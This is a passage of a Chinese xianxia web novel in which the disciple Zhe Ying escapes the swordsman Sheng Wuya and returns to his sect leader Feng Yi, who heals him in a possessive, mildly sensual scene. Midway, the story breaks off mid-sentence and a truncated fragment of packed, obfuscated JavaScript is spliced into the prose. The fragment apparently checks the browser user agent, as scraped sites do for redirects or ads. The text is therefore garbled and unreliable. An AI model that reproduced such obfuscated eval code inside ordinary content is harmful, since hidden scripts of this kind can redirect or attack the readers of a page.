“这么久?那你在玄音盟学了什么?” 这回折盈也不只看他一两眼了,直接抬头看着他,眉眼中又几分严肃的模样,但盛无涯猜测他可能是不高兴,盛无涯便问:“怎么了?” 折盈自然不能说他讨人烦,还依旧笑得腼腆,“我天赋平平,学艺不精。” 这倒是真的,否则也不会陪你在这里说这些废话了! 折盈此时才后悔积月斜所说,要是平日里勤勉一些,就算不是盛无涯的对手,对上两招再溜之大吉正好。 盛无涯道:“那……”他想起这少年方才说尚未拜师,年纪尚小又无人指点,不禁动了恻隐之心,开口说,“你方才说,你还未择师,若在修行上遇到疑难,可来神霄门寻我,我云游结束,接下来很长一段时间都会留待在神霄门。” 折盈抿唇一笑:“好呀。” 他本就生得明艳,貌若好女,长睫漆黑,长睫垂下时显得格外温顺,此刻倒真有几分少年人的澄澈,盛无涯松了口气。 却不知折盈眼珠一转,暗暗腹诽:“多管闲事。” 折盈等的急躁,不知积月斜有没有带着明心一剑脱身,正想着,眼前却骤然一黑,他下意识抬起手肘去挡,以为是盛无涯发现了他的身份对他出手,但预料中的招数没有落在身上。 一股温暖气息将他笼罩,愣神片刻才意识到是盛无涯将外袍覆在了他身上,折盈将衣角攥着,往下一扯,露出一双眼睛。 盛无涯解释道:“我是想给你披上衣裳,但好像吓到你了,才松了手。” 折盈摇摇头,将衣衫拢好,盛无涯这才将目光坦然地落在他身上,折盈看着他,又看看自己,虽然不解,但很快找出了一个理由,“不是很合身。” 盛无涯道:“委屈你先将就了。” 他这副对待小辈和颜悦色的模样,简直要让折盈怀疑,这便是名震天下的当世第一剑吗,竟没有那些剑修的臭脾气。 折盈看他也顺眼许多,虽然并不那么真心实意,但仍道:“谢谢。” 盛无涯将无涯剑入鞘,“我送你出万剑归宗。” 没了那柄剑在旁边明晃晃的杵着,折盈也没那么担惊受怕,主动说:“我可以自己回去,怎敢耽误无涯剑的正事?” 盛无涯伸出去的手一顿,“那好吧。” 折盈转身没入雾中,仍听见身后传来一声叮嘱:“万事小心。” 终于摆脱了那个大麻烦,折盈心里得意,连带着周围恼人的雾气都显得可爱起来,虽然险些又在雾中迷路,但靠着那若有似无的剑意指引,折盈还是顺利地离开了万剑归宗。 踏出秘境那刻,他长舒一口气,回望这看似平常的山涧,轻嗤一声:“晦气。” 转念想到已取得凤熠所要的明心一剑碎片,又觉不虚此行。 只是想到凤熠,他心头那点得意又灭了个干净。 上回的任务搞砸了,凤熠表面没跟他计较,最后看向折盈时,目光沉沉,折盈始终不敢抬头,害怕凤熠生气,更害怕凤熠不怒反笑地喊他过去,相比之下,他宁愿凤熠大发雷霆。 折盈在秘境外没见到积月斜和接应的教众,以为对方先行一步,可回到鸾火教才知道,积月斜根本没回来。 鸾火教坐落于梧桐谷,殿宇依山势而建,形如垂天之翼,仰首可看见天上一轮圆月,而正中间的便是一泓白潭水,像是一颗明珠静卧,透着股森森鬼气。 “等积月斜回来,让他先来见我。” 吩咐完,折盈径自去殿后温泉沐浴,四下无人,他坦然褪尽衣衫潜入水中,将编好的长发解开,整个人往下一沉,长发如藻在水中漂开,若隐若现间,白玉似的肌肤在水中起伏。 折盈捞着水中的花瓣,将掌心的水浇在自己肩头,水珠滚落,衬得那一身皮肉愈发剔透,如凝脂一般。 温热泉水将他身子蒸得泛红,眼睫也湿漉漉地黏成几簇,眸中也像是浸了水,朦胧而冷淡,他游到池边,取了玉梳仔仔细细地将头发梳开洗净,来来回回好几遍,这才舒口气,趴在池边枕着手臂小憩了一会。 醒来后也是赤裸着上岸,湿发贴着他纤细的腰线,他挑了件孔雀绿的长袍随意披上,两肩臂袖用斑斓翎羽点缀,他湿发半干,正想打坐调理灵力,却不想手下突然闯入,直接点明,教主要见他。 折盈眼眸微睁,低声道:“我知道了。” 在进入栖凤宫时,折盈低着头,无声半跪,深绿衣摆如孔雀尾羽般在身后铺展,“教主。” 大殿空旷,沉默如死水般蔓延。 折盈心中忐忑,稍稍抬眼,发现凤熠半坐在阶上,绛红的衣裳随意敞开衣襟,长发半束,凌乱的鬓发间,一那一双深不见底的黑眸正静静地看着他。 目光甫一相撞,折盈受惊般垂下眼帘。 “你还是和我生分了。” 凤熠的声音轻轻地传来,“我就知道你还是在意,嘴上不说,心里却是怕极了我。” 折盈面无表情伏在地上,“雀奴不敢。” “是么?”凤熠声音听不出喜怒。 那种被猛兽盯住的感觉让折盈后背发凉,折盈不敢再让他猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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折盈抬起头,忿忿道:“我也救他了,要不是我,他哪里能拿到碎片,是他心志不坚,被剑阵所困,还连累我受了伤。” 听到最后一句,凤熠漠然的神色终起微澜:“让我看看。” 说罢,一股炙热的灵力顺着折盈的灵脉长驱直入,折盈本就灵力亏损,一时受不住,呜咽一声,身子蜷缩着伏在凤熠膝头。 这股力量虽然来势汹汹,但却并不伤人,折盈很快便觉出好来,身体由内而外地暖透了,四肢百骸变得无比轻盈,枯竭的灵虚灵力充沛,连带着身上的伤口也正以肉眼可见的速度愈合,光洁如初。 这种感觉,和盛无涯截然不同。 折盈虽对盛无涯的灵力并不排斥,可灵力抽离后残余的气息像在血液里混进了一粒砂砾,磨得人难受,而凤熠的灵力初时虽似火焰,但转瞬便化作融融春水在折盈体内流淌,让折盈舒服得忍不住叹气。 随着那股霸道灵流的温养,折盈只觉灵台一片清明,滞涩已久的修为竟隐隐有了突破之兆。 他仰着脑袋,终于肯展露笑颜,眉眼弯弯如新月:“多谢教主。” 随即他似是想到了什么,敛了笑,做出一副乖觉懂事的模样,说道:“教主正值破境关键,实在不必为雀奴耗费修为。” “这点灵力不值一提,还不足以让你为我忧心。” 凤熠淡淡一笑,他似乎很受用折盈此刻的温顺,用指腹缓缓摩挲着折盈腕侧细腻的皮肤,像是在把玩一件失而复得的玉器。 折盈低眉顺眼地任由他握着腕子,转眼间,身前垂下的未干透的黑发被凤熠抓在手里,凤熠另一只手中多出一把如血般殷红的玉梳。 “离我那么远做什么?”凤熠道,“过来,身子转过去。”